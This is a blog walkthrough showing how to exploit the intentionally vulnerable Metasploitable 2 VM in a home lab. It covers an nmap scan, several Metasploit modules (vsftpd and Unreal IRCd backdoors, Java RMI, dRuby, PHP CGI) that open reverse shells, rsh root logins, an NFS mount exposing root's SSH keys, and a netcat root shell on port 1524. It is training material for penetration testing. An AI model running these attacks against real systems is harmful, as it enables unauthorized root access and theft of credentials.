Metasploitable 2 Walkthrough: An Exploitation Guide

Metasploitable 2

The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual machine is available for download (https://www.vulnhub.com/entry/metasploitable-2,29/) and ships with even more vulnerabilities than the original image. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable's network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network.

As this VM has many vulnerabilities in common with version 1, I will only be covering the newer vulnerabilities on the system. For a comprehensive walkthrough on version 1 of the VM you can check out my previous blog post here (https://tehaurum.wordpress.com/2015/06/13/metasploitable-walkthrough-an-exploitation-guide/).

nmap Scan

A preliminary nmap (https://nmap.org/) scan reveals a few additional services compared to the original Metasploitable.

```
root@kali:~# nmap -sV -O 192.168.0.14 -p1-65535

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-14 17:35 MDT
Nmap scan report for 192.168.0.14
Host is up (0.00051s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
6697/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
32907/tcp open unknown
40627/tcp open status 1 (RPC #100024)
41759/tcp open nlockmgr 1-4 (RPC #100021)
57859/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:E9:91:67 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Lin

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 172.46 seconds
```

VSFTPD

The VSFTPD service running on the system has a backdoor which can be used to gain a root shell on the system. This can be exploited by using the VSFTPD v2.3.4 Backdoor Command Execution (http://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor) module.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.0.14 yes The target address
 RPORT 21 yes The target port


Payload options (cmd/unix/interact):

 Name Current Setting Required Description
 ---- --------------- -------- -----------


Exploit target:

 Id Name
 -- ----
 0 Automatic


msf exploit(vsftpd_234_backdoor) > run

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 11 opened (192.168.0.13:47287 -> 192.168.0.14:6200) at 2015-06-14 19:04:

id
uid=0(root) gid=0(root)
```

GNU Classpath RMI Registry

GNU Classpath is a set of essential libraries for supporting the Java programming language. This VM runs a remote object registry for GNU Classpath using default credentials which can be leveraged to gain a shell on the machine using the Java RMI Server Insecure Default Configuration Java Code Execution (http://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server) Metasploit module.

```
msf > use exploit/multi/misc/java_
use exploit/multi/misc/java_jdwp_debugger use exploit/multi/misc/java_jmx_server use exploit/multi
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
 RHOST 192.168.0.14 yes The target address
 RPORT 1099 yes The target port
 SRVHOST 192.168.0.13 yes The local host to listen on. This must be an address on the local machin
 SRVPORT 8080 yes The local port to listen on.
 SSL false no Negotiate SSL for incoming connections
 SSLCert no Path to a custom SSL certificate (default is randomly generated)
 URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST 192.168.0.13 yes The listen address
 LPORT 4444 yes The listen port


Exploit target:

 Id Name
 -- ----
 0 Generic (Java Payload)


msf exploit(java_rmi_server) > run

[*] Started reverse handler on 192.168.0.13:4444
[*] Using URL: http://192.168.0.13:8080/FcaoZDCI4r
[*] Server started.
[*] 192.168.0.14:1099 - Sending RMI Header...
[*] 192.168.0.14:1099 - Sending RMI Call...
[*] 192.168.0.14 java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30680 bytes) to 192.168.0.14
[*] Meterpreter session 12 opened (192.168.0.13:4444 -> 192.168.0.14:43425) at 2015-06-14 19:16:03
[*] Server stopped.

meterpreter > getuid
Server username: root
```

Ruby DRb RMI

The dRuby RMI server running on the system has a few remote code execution vulnerabilities which can be exploited using the Distributed Ruby Send instance_eval/syscall Code Execution (http://www.rapid7.com/db/modules/exploit/linux/misc/drb_remote_codeexec) Metasploit module.

```
msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > show options

Module options (exploit/linux/misc/drb_remote_codeexec):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 URI druby://192.168.0.14:8787 yes The dRuby URI of the target host (druby://host:port)


Payload options (cmd/unix/reverse):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST 192.168.0.13 yes The listen address
 LPORT 4444 yes The listen port


Exploit target:

 Id Name
 -- ----
 0 Automatic


msf exploit(drb_remote_codeexec) > run

[*] Started reverse double handler
[*] trying to exploit instance_eval
[*] instance eval failed, trying to exploit syscall
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo bo6RvUnllxpVIVes;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "bo6RvUnllxpVIVes\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 13 opened (192.168.0.13:4444 -> 192.168.0.14:56543) at 2015-06-14 19:21:

id
uid=0(root) gid=0(root)
```

Unreal IRCd

The Unreal IRC daemon running on the system also has a backdoor which can be exploited using the UnrealIRCD 3.2.8.1 Backdoor Command Execution (https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor) Metasploit module.

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 192.168.0.14 yes The target address
 RPORT 6667 yes The target port


Payload options (cmd/unix/reverse):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST 192.168.0.13 yes The listen address
 LPORT 4444 yes The listen port


Exploit target:

 Id Name
 -- ----
 0 Automatic Target


msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse double handler
[*] Connected to 192.168.0.14:6667...
 :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
 :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address in
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo OAMiVx8EoDcU3s4S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "OAMiVx8EoDcU3s4S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 14 opened (192.168.0.13:4444 -> 192.168.0.14:46932) at 2015-06-14 19:36:

id
uid=0(root) gid=0(root)
```

Apache httpd

PHP

The Apache webserver has a vulnerable version of PHP installed which can be found out by visiting /phpinfo.php.

This version of PHP is vulnerable to PHP CGI Argument Injection (http://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection) and can be exploited using the Metasploit module.

```
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 PLESK false yes Exploit Plesk
 Proxies no A proxy chain of format type:host:port[,type:host:port][...]
 RHOST 192.168.0.14 yes The target address
 RPORT 80 yes The target port
 TARGETURI no The URI to request (must be a CGI-handled PHP script)
 URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum)
 VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

 Name Current Setting Required Description
 ---- --------------- -------- -----------
 LHOST 192.168.0.13 yes The listen address
 LPORT 4444 yes The listen port


Exploit target:

 Id Name
 -- ----
 0 Automatic


msf exploit(php_cgi_arg_injection) > run

[*] Started reverse handler on 192.168.0.13:4444
[*] Sending stage (40499 bytes) to 192.168.0.14
[*] Meterpreter session 15 opened (192.168.0.13:4444 -> 192.168.0.14:40485) at 2015-06-14 19:42:48

meterpreter > getuid
Server username: www-data (33)
```

Damn Vulnerable Web Application and Mutillidae

The VM also includes DVWA (http://www.dvwa.co.uk/) and Mutillidae (http://sourceforge.net/projects/mutillidae/) which are intentionally vulnerable web applications made to demonstrate most of the OWASP Top 10 (https://www.owasp.org/index.php/Top_10_2013-Top_10) web application vulnerabilities.

UNIX r-services

The UNIX r-services (http://etutorials.org/Networking/network+security+assessment/Chapter+7.+Assessing+Remote+Maintenance+Services/7.4+R-Services/) on the host have been misconfigured to allow remote access from any host without authentication. We can use these services to execute commands remotely or connect with a root shell on the machine.

```
root@kali:~# rsh 192.168.0.14 id
uid=0(root) gid=0(root) groups=0(root)
root@kali:~# rsh 192.168.0.14 uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@kali:~# rlogin -l root 192.168.0.14
Last login: Sun Jun 14 19:14:29 EDT 2015 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
```

nfs Service

The nfs service (http://nfs.sourceforge.net/) allows network access to local file systems. The nfs service on the system allows anyone to remotely mount the local file system and access or modify its contents. We can use this to grab authorized SSH keys from the system or to write our own SSH keys to the authorized_keys file.

```
root@kali:~# mkdir /tmp/sshkey
root@kali:~# mount -t nfs 192.168.0.14:/ /tmp/sshkey
root@kali:~# cat /tmp/sshkey/root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW7
```

This can be used for then Debian OpenSSH weak keys attack as detailed in my previous blog post (https://tehaurum.wordpress.com/2015/06/13/metasploitable-walkthrough-an-exploitation-guide/).

Backdoor on Port 1524

The famous backdoor port 1524 (http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Vulnerability_Exploits.html) is running an open root shell which can be accessed remotely by simply connecting to it using any tool of your choice.

```
root@kali:~# nc 192.168.0.14 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
```

Notes

Metasploitable 2 hosts a lot more vulnerable network and web services as compared to its first version. The inclusion of DVWA and Mutillidae is highly beneficial as they are great for learning about the OWASP Top 10 web application security vulnerabilities. However, this is a demonstration focused VM as well, built for learning about common vulnerabilities and not a realistic experience for penetration testing. Some challenging VMs can be found over at Vulnhub (https://www.vulnhub.com/).

JUNE 14, 2015 **TEHAURUM** **KALI LINUX, METASPLOIT, METASPLOITABLE 2, OFFENSIVE SECURITY, PENETRATION TESTING, VULNHUB**